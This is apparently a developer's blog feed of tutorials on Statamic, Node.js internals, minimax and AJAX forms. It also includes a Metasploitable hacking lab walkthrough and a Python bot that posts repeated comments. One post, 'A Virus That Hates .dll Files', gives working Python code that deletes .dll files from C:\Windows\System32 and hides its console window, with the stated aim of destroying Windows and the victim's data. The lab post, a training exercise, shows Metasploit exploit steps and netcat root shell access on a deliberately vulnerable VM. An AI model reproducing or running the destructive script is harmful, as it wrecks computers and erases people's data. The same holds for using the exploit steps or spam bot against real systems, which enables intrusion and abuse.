Forem: Atena Dadkhah

How to get started with Statamic

Atena Dadkhah — Tue, 16 May 2023 10:54:12 +0000

Welcome to the world of Statamic 🥳🪅, where CMS meets limitless possibilities 🌟. Unlike your typical CMS, Statamic breaks free from the shackles of traditional database-driven systems. It operates on flat files, eliminating the need for a database altogether. Content, users, and configurations are stored effortlessly in markdown, YAML, or PHP config files, while still providing the convenience of a control panel familiar to CMS users.

With Statamic, version control becomes a breeze as you gain the power to track changes across your entire site, from content updates to configuration modifications. Deploying your site to production is as simple as a Git commit, enabling seamless integration with your preferred version control system.

Collaboration becomes effortless as multiple developers or teams can work on separate branches and seamlessly merge their changes. Even writers and non-technical users can make updates within the control panel, and their modifications can be automatically committed back to your Git repository.

But wait, Statamic doesn't stop at flat files. It revolutionizes the entire data layer. You have the flexibility to utilize the Statamic site generator or leverage eloquent drivers, allowing you to tap into SQL databases or even build your own drivers for MongoDB or Firebase. This approach empowers you to start with simplicity and scale at your own pace.

Statamic is a chameleon 🦎, capable of dynamic execution like a traditional CMS, or operating as a static site generator or headless CMS 🤯. Seamlessly integrate with any front-end application, whether it's a Jamstack, React, Mobile, or even native applications, using the REST API or GraphQL.

Installing

There are 2 main ways you can do it.

New clean install
Into a Laravel application

In this case we go with the first way which is simpler.

Install Statamic global composer CLI tool.

composer global require statamic/cli

Then, create a new Statamic project and choose Blank Site to began. (If you don't have a Starter Kit)

statamic new YourAPPName

While installing, it'll ask you if you want to create a new super user, You may hit yes and enter your information as a user.

At the end change the directory to your project and run your application.

Then switch to /cp you'll see a login page that you should type in your information which you provided while installing Statamic.

After the successful login, You should be able to see the control panel. 😀

Create a home page

Now, let's add some captivating content to showcase on our homepage! Navigate to Collections → Pages in the control panel. Simply click on the entry's title to embark on a creative journey of editing. Unleash your imagination in the content field, crafting a compelling message or sharing your unique insights. Once you're satisfied, hit the Save & Publish button.

Take note that the entry is currently utilizing the home template (visible in the template field). Let's dive in and edit this template to unveil your amazing new content to the browser.

To get started, open your code editor and locate the file resources/views/home.antlers.html. This file serves as the home template, and its name corresponds to the filename without the file extension. Keep in mind that any view ending in .antlers.html will be seamlessly parsed by Statamic's Antlers template parser.

Customize the home page

Open resources/views/layout.antlers.html and replace it with this:

<!doctype html>
<html>
<head>
    <title>{{ title }}</title>
    <link href="https://unpkg.com/tailwindcss@^2/dist/tailwind.min.css" rel="stylesheet">
</head>
<body class="bg-gray-900 text-white text-lg font-mono">
    <div class="container max-w-lg mx-auto py-8">
        {{ template_content }}
    </div>
</body>
</html>

Your layout file serves as a home for essential markup that should appear consistently across all pages. It's the perfect spot to house <head> meta tags, persistent site navigation, the site footer, and other global elements.

Imagine layouts as a picture frame, while templates act as the content within that frame. Templates are seamlessly injected into the layout using the {{ template_content }} variable, forming a cohesive HTML document.

Then, you might see this.

Conclusion

In conclusion, we have merely scratched the surface of Statamic's capabilities. There is so much more to explore and unleash. Get ready to dive deeper into the world of Statamic and unlock its full potential. Exciting discoveries await!

You Don't Know The REAL Theory Behind Node.JS!

Atena Dadkhah — Fri, 21 Apr 2023 15:05:24 +0000

Introduction

Have you ever wondered how Node.js, one of the most popular JavaScript runtimes, works under the hood? 🤔 While it's easy to get caught up in the excitement of building web applications with Node.js, it's essential to understand the theory behind it.
In this post, we'll take a deep dive into the inner workings of Node.js, exploring what's really happening behind the scenes when you write JavaScript code using Node.js. From its event-driven architecture to its non-blocking I/O operations, we'll demystify the theory behind Node.js and shed light on how it was built.

🚀Get ready to uncover the real theory behind Node.js and gain a deeper understanding of this powerful technology!💡

Architecture Behind The Scenes

So let's represent the architecture here in terms of nodes dependency which are just a couple of libraries that node depends on in order to work properly.
So the node run time has several dependencies and the most important ones are the V8 engine and libuv.

V8 JavaScript Engine	libuv

V8

You might have known that Node is a JavaScript run time based on Google V8 engine. If it wasn't for V8, Node would have absolutely no way of understanding the JavaScript code that we write and therefore V8 is a fundamental part in the Node architecture.

So the V8 engine is what converts JavaScript code into machine code that a computer can actually understand.
But that alone is not enough to create a whole server-side framework like Node and so that is why we also have libuv.

libuv

libuv is an open source library with a strong focus on asynchronous I/O. This layer is what gives Node access to the underlying computer operating system, file system, networking, and more; besides that libuv also implements to extremely important features of Node.js which are the Event Loop and also the Thread Pool.
In simple terms, Event Loop is responsible for handling easy tasks like executing callbacks and network IO, while the Thread Pool is for more heavy works like file access or compression.

Programming Languages

One important thing to note is that libuv is actually completely written in C++, and not in JavaScript! and V8 itself also uses C++ code besides JavaScript. So therefore Node itself is a program written in C++ and JavaScript and not just in JavaScript as you might expect.

Now the beauty of this that Node.js ties all these libraries together no matter if written in C++ or JavaScript and then gives us developers access to their functions in pure JavaScript.

So it really provides us with a very nice layer of a abstraction in order to make our lives a lot easier instead of us like having to mess with C++ code! that would be a terrible experience right? 😂

This architecture allows us to write 100% pure JavaScript code running in Node.js and still access functions like file reading, which behind the scenes are actually implemented in the libuv or other libraries in the C++ language.

And speaking of other libraries, Node does actually not only rely on V8 and the libuv but also on HTTP parser for passing HTTP, c-ares for some DNS request, open SSL for cryptography, and also zlib for compression.

So in the end when we have all these pieces nicely fit together we end up with Node.js ready to be used on the server side or for applications.

Thread Pool

So first off when we use Node on a computer, it means that there is a Node process running on that computer. And the process is just a program in execution and you already learned that Node.js is basically a C++ program which will therefore start a process when it's running. This is important because in Node we actually have access to a processed variable. In that process Node.js runs in a so-called Single Thread.

And a thread is basically just a sequence of instructors. You may imagine a thread as being a box where our code is executed in computers processor.

Now What is important to understand here is the fact that Node runs in just one thread where it makes it easy to block Node applications. It's something really really important to remember because this is one of the unique features that Node brings to the table; so again if you run your Node application it will run in just a single thread no matter if you have 10 users or 10 million users accessing your application at the same time. And you need to be very careful about not blocking that thread!

What happens in a single thread? 🧐

When the program is initialized, all the top level code is executed which means all the code that is not inside any callback function. also all the modules that your app needs are required and all the callbacks are registered. Then after all that the event loop (the heart of node app 🫀) finally starts running.
But some tasks are actually too heavy and expensive to be executed in the event loop because they would then block the single thread and that's where the thread pool comes in, which just like the event loop is provided to Node.js by libuv library. So the Threat pool gives us four additional threads that are completely separate from the main single thread. We can actually configure it up to 128 threads but usually these four are enough. so this threads together form the thread pool and the event loop can automatically offload heavy tasks to the thread pool. And all this happens automatically behind the scenes. It's not us developers who decide what goes to the thread pool and what don't. 🤷
The expensive tasks that do get offloaded are all operations dealing with files. everything related to cryptography like hashing passwords and all compression stuff and also DNS lookups which basically matches web domains to their corresponding real IP addresses. so this is the stuff that would most easily block the main thread and Node takes care of automatically offloading them into the thread pool where they don't block our event loop.

Event Loop

The event loop is where all application code inside callback functions is executed. It's the heart of Node architecture, which uses an event-triggered approach. When an event like an HTTP request or timer expiration occurs, it emits an event that the event loop picks up and calls the associated callback function. The event loop has multiple phases with their own callback queues, including expired timers, I/O polling and execution, setImmediate callbacks, and close callbacks. There are also special queues for nextTick() and other microtasks. After each phase, callbacks in these queues are executed immediately. Node determines whether to continue to the next tick or exit the application based on whether there are pending timers or I/O tasks. Understanding the event loop is crucial for writing performant code in Node.js. For more details, refer to the official Node documentation.

Event-driven Architecture

So most of Node's core modules, like HTTP, File System, and Timers are built around an event-driven architecture, and we can of course also use this architecture to our advantage in our own code. And the concept is actually quite simple. So, in Node, there are certain objects called event emitters that emit named events as soon as something important happens in the app, like a request hitting server, or a timer expiring, or a file finishing to read. These events can then be picked up by event listeners that we developers set up, which will fire off callback functions that are attached to each listener, So again, on one hand, we have event emitters, and on the other hand event listeners that will react to emitted events by calling callback function.

When we want to create a server, we use the Create Server method and save it to a Server Variable. server.on method is how we actually create a listener, and in this case for the "request" event. So let's say we have our server running, and a new request is made. The server acts as an emitter, and will automatically emit an event called "request" each time that a request hits the server. Then, since we already have a listener set up for this exact event, the callback function that we attached to this listener will automatically be called. And this kind of function will simply send some data back to the client. Now, it works this way because behind the scenes the server is actually an instance of the Node.js EventEmitter class, so it inherits all this event emitting and listening logic from that EventEmitter class.

EventEmitter logic is called the Observer Pattern in Javascript programming in general, and it's quite a popular pattern with many used cases. So the idea is I set there an observer, in this case the event listener, which keeps waiting, keeps observing the subject that will eventually emit the event that the listener is waiting for. And the opposite of this pattern is simply functions calling other functions, which is something that we're more used to actually, right? But the observer pattern has been designed to react rather than to call. And that is because there is a huge benefit of using this architecture, which is the fact that everything is more de-coupled. We don't have, for example, functions from the File System module calling functions from the HTTP module because it would be a huge mess. Instead, these modules are nicely de-coupled and self-contained, each emitting events that other functions, even if they come from other modules can respond to. Also, using an event-driven architecture makes it way more straight forward to react multiple times to the same event. All we have to do is to set up multiple listeners.

Streams

Used to process (read and write) data piece by piece (chunks),
without completing the whole read or write operation, and
therefore without keeping all the data in memory.

1. Readable streams

Readable streams allow reading data piece by piece, making them useful for handling large text files or data coming in through an HTTP request. Readable streams are instances of the EventEmitter class, meaning they can emit and listen to named events. The most important events for readable streams are the data event, which is emitted when there is new data to consume, and the end event, which is emitted when there is no more data to consume. In addition to events, there are important functions like pipe and read that can be used with readable streams.

2. Writable streams

Writable streams are the opposite of readable streams, and examples include HTTP responses that can be sent back to clients. When sending data, it needs to be written to a writable stream. The most important events for writable streams are the drain and finish events, and the most important functions are the write and end functions. Writable streams are commonly used for streaming large files, such as videos, similar to how Netflix or YouTube stream content to users.

3. Duplex streams

They're simply streams that are both readable and writeable9at the same time. These are a bit less common. But anyway, a good example would be a web socket from the net module. And a web socket is basically just a communication channel between client and server that works in both directions and stays open once the connection has been established.

4. Transform streams

Transform streams in Node.js are both readable and writable, and can modify or transform data as it is read or written. An example of a transform stream is the zlib core module used for data compression. The text also mentions that the events and functions discussed are for consuming streams that are already implemented in Node.js, such as HTTP requests and responses. It is possible to implement custom streams and consume them using the same events and functions, but this topic is not covered in detail as it is more important to know how to consume streams rather than implement them for most applications.

And that's it! 🥳

Conclusion

In conclusion, understanding the architecture and inner workings of Node.js is crucial to building efficient and scalable web applications. Node.js relies on several dependencies, including the V8 engine and libuv, which work together to provide JavaScript runtime capabilities on the server side. The V8 engine converts JavaScript code into machine code, while libuv is responsible for handling asynchronous I/O and implementing features such as the event loop and thread pool. Node.js allows developers to write 100% pure JavaScript code while accessing functions implemented in C++ or other languages, providing a layer of abstraction that makes development easier. However, it's important to remember that Node.js runs in a single thread, and heavy tasks that could block the event loop can be offloaded to the thread pool. By understanding the architecture behind Node.js, developers can harness its power to build fast and scalable applications. Happy coding with Node.js! 🚀💻

Hack Metasploitable machine in 5 ways using Kali Linux 🤯😈

Atena Dadkhah — Thu, 09 Mar 2023 18:41:27 +0000

Hi there!👋
Today I'm going to show you how we can HACK Metasploitable virtual machine in 5 different ways to learn penetration testing with Nmap and Metasploit framework.

Let's get into it!

Before we get our hands dirty, we need to take some steps.

1. Install Kali Linux

For penetration testing or any cybersecurity activity it's better to have a Linux based operating system running on our systems.
If you don't have any Linux OS installed on your machine, You can install Kali Linux on a virtualbox like Oracle VM VirtualBox.

2. Install Metasploitable Virtual Machine

Let me introduce Metasploitable virtual machine to you.

Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques.

You can download metasploitable virtual machine and again install that on Oracle virtualbox.

3. Nmap And Metasploitable Framework

Nmap allows you to scan your network and discover not only everything connected to it, but also a wide variety of information about what's connected, what services each host is operating, and so on.

The Metasploit Framework is a Ruby-based, modular penetration testing platform that enables you to write, test, and execute exploit code. The Metasploit Framework contains a suite of tools that you can use to test security vulnerabilities, enumerate networks, execute attacks, and evade detection.

By default Kali Linux has Nmap and metasploitable installed in it, but if you are using other Linux distro (e.g. Ubuntu) you need to install these packages.

REMEMBER
You should change network adapter for your Linux OSes (Kali & Metasploitable) on Bridge Adapter for their IPs to be in the same range as your device. (In Oracle go to Settings > Network > adapter 1)

Now, it's time for us to start hacking and get our hands dirty. 😈

Run both kali Linux and Metasploitable.

Then we should get the IP address of Metasploitable. Just type this command in metasploitable.

ifconfig

Then it shows some results containing the IP address. Mine is in eth0 192.168.1.3.

Now we should scan the target machine in Kali Linux using Nmap.

nmap -sV 192.168.1.3 -p-

Remember to write your own target machine IP in this command

-sV : This is a service version scan. In order to know what
exploits will work, it is very helpful to know the service
version behind an open port.

-p- : Scans all ports.

Then you'll see a result such as this:

As you might know the more open ports we have in a server, the less secure that server is. The reason is because the possibility of having vulnerable ports to exploit increases.

1. VSFTPD Open Port

I'll start with the first open port (port 21 vsftpd).
In your console, start the Metasploit framework by this command:

msfconsole

After metasploit started, type this:

search vsftpd

By this command we are searching for the service of the first open port that we've found.

Now you'll see a result like this:

As you see we found 1 excellent module to exploit this port.
Let's use it.

use 0

And now we should know what options should we pass to this module to work.

show options

As the result says we should only specify RHOST which is the IP of our target machine.

set RHOST <your-target-machine-IP>

Now we are ready to exploit the Metasploitable.

exploit

And BAM!!!
You can now run any command you want or do malicious things to the target machine.

2. Bindshell Open Port

Let's get into the second vulnerability which is very easy to detect.

Well This one is the most hilarious type of vulnerability that a machine can have which takes us straight to the root account and normally is very rare.

To do so, we use netcat.

nc <your-target-machine-IP> <port>

The port in this case is 1524.
And now we are the root account because of the stupid mistake of the admin.

3. DISTCCD Open Port

distccd service is another vulnerable port which is open.

search distccd

It gives us 1 module to use.

use 0

Again we have to specify the RHOST.

set RHOST <your-target-machine-IP>

Now type this:

show payloads

This command gives us every available command that we can use to exploit the target.

In this case we should use payload number 5.

set payload 5

Then exploit it.

exploit

And YEAH! we could exploit it for the 3rd time.😎

4. VNC Open Port

Another important vulnerability in our Nmap scan is the port 5900 which belongs to VNC.
Exploiting this one is a little bit different but more interesting. 😛

Type this command:

vnc <your-target-machine-IP>

Now we should enter the passsword.
If we type msfadmin it throws an authentication failure.
But if we type password as the password we can access it because of its weak password.

5. Apache Vulnerability

In this item we're going to use Nmap script to find a vulnerability in Metasploitable Apache.

The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap.

We have different categories of NSE scripts such as auth, broadcast, brute, default. discovery, dos, exploit ...etc.
We are going to use auth.

nmap --script auth <your-target-machine-IP> -sV

If you scroll down, you'll see one of the auth vulnerabilities is for Apache at port 8180 which shows us the username and the password.

Simply type this URL in your browser:

<your-target-machine-IP>:8180/admin/

Then as our scan revealed, type tomcat as the username and the
password.

You are now logged in to the Apache server of the target. Congratulation!🥳

Conclusion

Since Metasploitable is for learning penetration testing, you can find other vulnerabilities as well which if you are interested in, you may do just like what we did in this post.
Led me know if you found other vulnerabilities.😉
Thanks!🤡

How does my GitHub readme look like?🍧

Atena Dadkhah — Thu, 22 Dec 2022 09:00:35 +0000

Hello. 👋
Yesterday I decided to create a GitHub readme for my profile. Before creating it, I read many tutorials and saw lots of perfect examples.
Now I want to know whether I was successful or not?
Is that a good readme?
Thank you so much.😉💙

3 Awesome frameworks I learned this year🥳

Atena Dadkhah — Mon, 12 Dec 2022 11:14:11 +0000

In this post I'm going to introduce top 3 powerful frameworks that I learned this year and I'm super excited to explain about what they do and how developers love them! Let's go... 🤩

1. Laravel

Laravel is a free and open-source PHP framework based on MVC architect that provides a set of tools and resources to build modern PHP applications. It performs as one of the most secure PHP frameworks.
Laravel uses Blade as its template engine and provides powerful database tools including an ORM (Object Relational Mapper).
Laravel is also famous for simplifying some repeated tasks in web development such as authentication, authorization, session, middleware, routing...etc which makes the life easier😉.

Before learning Laravel I used to work with pure PHP but when I started learning it, that was like a huge progress and a huge change in the professional direction of my work.

2. Node.JS

Oops! Node.JS is neither a programming language nor a framework. (Some people say it's something between a framework and a language).
But more accurately Node.JS is a JavaScript runtime built on Google's open-source V8 JavaScript engine.

In simple words as you know JavaScript is inside the browser but what if we could take JavaScript out of the browser and execute it somewhere else, without all the restrictions that we have in the browser 🤔? That's right! This is exactly what Node.JS is.

3. Tailwind

Tailwind is a CSS framework that uses low-level utility classes to create layouts. (This is known as utility-first framework🧩).
Traditional CSS frameworks like bootstrap use classes that are directly correlated to components (eg. Alerts, Navbars). Tailwind uses classes as utilities to put together to build own custom components.

✨Believe me! if you take a look at Tailwind you'll be addicted to this awesome front-end framework.🤑

I hope this post has helped you and thank you for reading this post.❤️
Don't forget! Comment what you learned this year or what you want to learn in the new year.
Thanks.😋

A Virus That Hates .dll Files

Atena Dadkhah — Thu, 01 Dec 2022 07:44:26 +0000

I've written a virus in Python which does a very tricky job!
The main goal is to write a virus which destroys Windos OS.

Important Files

As we know, one of the most important files in Windows OS is a file with .dll extension that is usually stored in C Drive which our Windows OS was installed.
So in this virus we're going to target .dll files which are vitally important for Windows OS and if we remove them, in addition to the destruction of the operating system, the target will also lose her/his data.

Libraries

Provides functions for creating and removing a directory...etc.

Win32gui

Provides an interface to the native win32 GUI API.

Win32con

Extended Win32 process creation and management capabilities are accessible through this module.

Let's Code!

First you should import these libraries.

import os, win32gui, win32con

# Clear Terminal
clear = lambda: os.system('cls' or "clear")
clear()

Then we should specify the directory that we want to inspect, and the file extensions that are important for us.

# Path to inspect
path = "C:\\Windows\\System32\\"

# Max file size
maxFileSize = 21182681

# File extensions
EXTENSIONS = {".dll"}

Last step is to do a for loop in this path and in the files we'll have found, to see which file has .dll extension and then delete them.

try: 
    for dirname, dirpaths, filenames in os.walk(path):
        for filename in filenames:
            ext = os.path.splitext(filename)[-1]
            # checks if a file has the specified extensions
            if ext in EXTENSIONS:
                x = os.path.join(dirname, filename)
                # Checks if file doesn't have a large size
                if os.path.getsize(x) < maxFileSize:
                    # REMOVING FILES
                    os.remove(x)
                    print("Deleted!")
except:
    pass

While we're running this python file we can also hide CMD or the Terminal.

import os, win32gui, win32con

# Hide CMD
win32gui.ShowWindow(win32gui.GetForegroundWindow() , win32con.SW_HIDE)

If you're interested in this subject, you can take a look at this repository on GitHub.

Thanks! 👻

A bot that comments a lot

Atena Dadkhah — Sun, 06 Nov 2022 16:07:01 +0000

In this post I want to show you how to login to a website and then comment on a post...
Wait, what?
I know you've already could do that. LOL. But the goal is to do that with Python.

In fact, we want to have a bot that logins to a website and then comments on a post as many times as you want.

Important! The code we write, is not always the same in each website, but the point is to learn how to implement the theory of that.

To begin, you should choose a simple website to implement this operation. I chose ctflearn.com as an example.

First step, install and import the requests library of Python.

As I mentioned earlier in this post, at first we should login, then comment on a specific post. So we should now plan to login with our bot.

I suppose you've already registered to that website (have an account) so that we can login properly.

To login and then comment, we need to keep our session after login. so I will say:

import requests

with Requests.Session() as r:
     # The operation goes here

To login we need to recognize all inputs on that page and fill them to send it to the server.

Inputs on a page might just consist of a username/email and password. But the key is to fill out those inputs and send the data to the server once, then go to Network tab in the dev tools,
choose the file related to that login page on the left bar and then choosing the payload tab on the right.

By that you will see there might (or might not) be some other hidden inputs like CSRF tokens which also should be filled by the bot.

So, here and maybe on many other websites, in addition to the login information, we must also send the CSRF token.
To do that, my way is that with each request, get the source code of that page and find the index of the value of the CSRF input, then slice that from the page and send that among other values.

with Requests.Session() as r:
     source = r.get('https://ctflearn.com/user/login').text

To find the index of the CSRF token we can find the index of this hidden input name (because it's mostly unique in the source code), and then receiving the main CSRF token.

with Requests.Session() as r:
     source = r.get('https://ctflearn.com/user/login').text
     token = source[source.rfind("csrf_token") + 33: source.rfind("csrf_token") + 124]

So we got the input name index, (here csrf_token) and made that plus 33 (the 1st index of the token) and we sliced that through the end of the CSRF token, by summing that with 124 (calculating the CSRF length).

Notice! Your numbers from different websites are different.

And the final step to login, is to send these data to the server.

with Requests.Session() as r:
     source = r.get('https://ctflearn.com/user/login').text
     token = source[source.rfind("csrf_token") + 33: source.rfind("csrf_token") + 124]
    payload = {
       'csrf_token' : token,
       'identifier' : '3dot',
       'password' : '123456'
    }
    login = r.post('https://ctflearn.com/user/login', data=payload)

The keys of payload variable, should be the name of their inputs, and the URL we post the data, should be the URL from the Network tab.
After login, we should repeat this process to comment on a post.

Under the login variable we should write:

commentSource = r.get('https://ctflearn.com/challenge/228')
commentToken = commentSource[commentSource.index('name="csrf_token"') + 39 : commentSource.index('name="csrf_token"') + 130]
commentPayload = {
   'markdown' : 'Your message!',
   'csrf_token' : commentToken,
}
comment = r.post('https://ctflearn.com/challenge/228/comment', data=commentPayload)

At the end your code should looks like this.

import requests
with Requests.Session() as r:
     source = r.get('https://ctflearn.com/user/login').text
     token = source[source.rfind("csrf_token") + 33: source.rfind("csrf_token") + 124]
    payload = {
       'csrf_token' : token,
       'identifier' : '3dot',
       'password' : '123456'
    }
    login = r.post('https://ctflearn.com/user/login', data=payload)
    commentSource = r.get('https://ctflearn.com/challenge/228')
    commentToken = 
    commentSource[commentSource.index('name="csrf_token"') + 39 : 
    commentSource.index('name="csrf_token"') + 130]
    commentPayload = {
       'markdown' : 'Your message!',
       'csrf_token' : commentToken,
   }
   comment = r.post('https://ctflearn.com/challenge/228/comment', 
   data=commentPayload)

By this code you can easily make a bot that logins to a website and then comments on a post.

You can also put a for loop to comment as many times as you want.

I hope this post helped you, for more information you can watch this video.

When AI plays Tic Tac Toe

Atena Dadkhah — Mon, 17 Oct 2022 18:33:41 +0000

I remember the first time that I was playing Tic Tac Toe with a non-human, I really had no idea how it works or how it knows what moves to make to prevent me from winning the game.

My answers to this question were hilarious at the time; but then, after some time, I found that this is just a simple algorithm which never led me beat it.

The algorithm is called MiniMax.

MiniMax

MiniMax isn't just for Tic Tac Toe game, in fact it's a very cool algorithm which we can use in any match where there is an opponent in front of you and is acting against you.

The theory behind the MiniMax algorithm is to predict the opponent moves or thoughts, which are obviously beneficial for her/him and then choosing the best move based on your prediction.

The best move should be both to your advantage and to your rival's disadvantage.

Tic Tac Toe

The first step of the process is to predict all possible actions after a player makes any moves.

We continue this process till the game overs. You'll see it makes a recursive function.

To understand this picture better, at first we should specify a score for each position of the game board.

-1: O wins
0: No one wins
+1: X wins

And then, please consider player O and player X as min player and max player.

Min player: Chooses the minimum score
Max player: Chooses the maximum score

For instance if we have 3 possible options on the board which the scores are [0,-1,-1] X player will choose 0 and O player will choose one of the -1 options.

Now, that we know the final score of each action on the board (by continue filling it out) we can easily choose between the scores based on which player is acting as AI player.

If you're interested in this algorithm and Tic Tac Toe game, you can take a look at This GitHub Repo which I covered MiniMax algorithm in an interesting Tic Tac Toe game, in both JavaScript and Python languages.

Preventing users from manipulating my form

Atena Dadkhah — Mon, 19 Sep 2022 06:12:25 +0000

Forms are HTML tags that we use in a variety of ways to send the data they hold from one place to another, and then possibly store them somewhere like a database.

Do you know how many different forms we have?

In my opinion we have got two different type of forms.

The usual ones like login or register
Some forms (I call the mysterious ones 😜) like add to cart or instant logout with a button or even edit and delete buttons in a list of items.

For the first type, using AJAX doesn't really matter but for the second one, it's essential; because we expect instant response from the website not reloading again and again every time we send a request.

We some times need to send some sensitive data like user ID or the ID of a product ...etc, this happens mostly in the second type of forms, so my main focus in this post is on this type.

Imagine we have a list of products that we've already added it to our cart.

As you see there is a tiny multiplication sign next to each item (delete) and a quantity button which should change whenever we reduce or increase the number (update).

To implement these options (delete & update) we need to know which option is being deleted or updated; in other words, we should recognize them.

How?

Well, there is just one way (as far as I know) that is specifying the ID of each item and send it along with other values to the server.
You can hash this ID or whatever you want. But there must be a value to identify which item you are operating on.

I usually do that using hidden type inputs.

<input type="hidden" name="product-id" value='1'>

And then send it to the server.

$('form').submit(function(){
     $.ajax({
       url : url,
       type: 'POST',
       data: $(this).serialize(),
       success: function(){ alert('Success') },
       error: function(){ alert('Error') }
     })
})

I used jQuery but you can use either pure JavaScript for AJAX request.

This process continues well and happily, but imagine the user manipulate the ID (By inspecting or developer tools in browsers) that we're sending to the server; We may then operate on the wrong item and what if the ID doesn't exist in our database? Then it will cause an error 😁

The solution is that to simply put a condition in your back-end to check if that ID exists, then do the operation.

But my purpose is to prevent users from manipulating the sensitive data of a form before submitting the form.

My idea is to reset all sensitive data before sending to the server, right after the user submits the form. In this case you can always send true data to the server (although you should keep server-side checks for sure.)

In jQuery when we want to reload child elements inside a parent element we should give an id to the parent element.

HTML:

<section id="parent">  
    <span>Banana</span>
    <span>Apple</span>
    <span>Orange</span>
</section>

JS:

$('#parent').load(document.URL + ' #parent > *')

By that you're resetting child elements without reloading the whole page and the user will never understand that.

Notice you should keep the space before element ID when concating to document.URL

Now let's bring this idea back to our previous example about user cart.

Imagine you have a div tag called #cart-item-{index} like this for each cart item.
(it's not necessary to have form tag when using AJAX)

<section id="manage-cart">
   <div id="cart-item-1">
        <span class="close" data-product-id="20">&times;</span>
        <div class="product-details">
          ...
        </div>
   </div>
   <div id="cart-item-2">
        <span class="close" data-product-id="23">&times;</span>
        <div class="product-details">
          ...
        </div>
   </div>
</section>

Here data-product-id attribute shows the ID of the product (which you can hash then)

The structure is when user clicks on .close element to delete that cart item we should instantly get the ID from it's attribute, and the point is to prevent user from changing that ID and finally send the exact true value to the server server.

Lets implement it right now. 😉

AJAX:

    $('.close').click(function(){
        const parentID = '#' + $(this).parent().attr('id')
        $(parentID).load(document.URL + ` ${parentID} > *`, function(){
            const pID = $(this).find('.close').attr('data-product-id')
            console.log(pID)
            $.ajax({
                url:url,
                type:'POST',
                data: pID,
                success:function(){alert('Success')},
                error:function(){alert('Error')},
            })
        })
    })

As an explanation to this code I have to say, after the user clicks on the .click element we get it's parent ID which is unique. Then before the AJAX request, we reset all elements inside this cart-item then as a callback function we request to a URL and send the same product ID each time.

You see, even if we change data-product-id by inspecting the element in the browser, the console shows the same ID it was in the source code. (I console.log() the ID)

But Wait! there is a tiny bug in this code.

As we reset the .close element in jQuery after clicking on it, JavaScript actually creates this element again dynamically so we can't click on it over again.

The solution is to involve the document, in this case this problem is easily solved.

    $(document).on('click', '.close',function(){
        const parentID = '#' + $(this).parent().attr('id')
        $(parentID).load(document.URL + ` ${parentID} > *`, function(){
            const pID = $(this).find('.close').attr('data-product-id')
            console.log(pID)
            $.ajax({
                url:'index.html',
                type:'POST',
                data: pID,
                success:function(){alert('Success')},
                error:function(){alert('Error')},
            })
        })
    })

I hope you enjoyed this post.
Have fun! 😊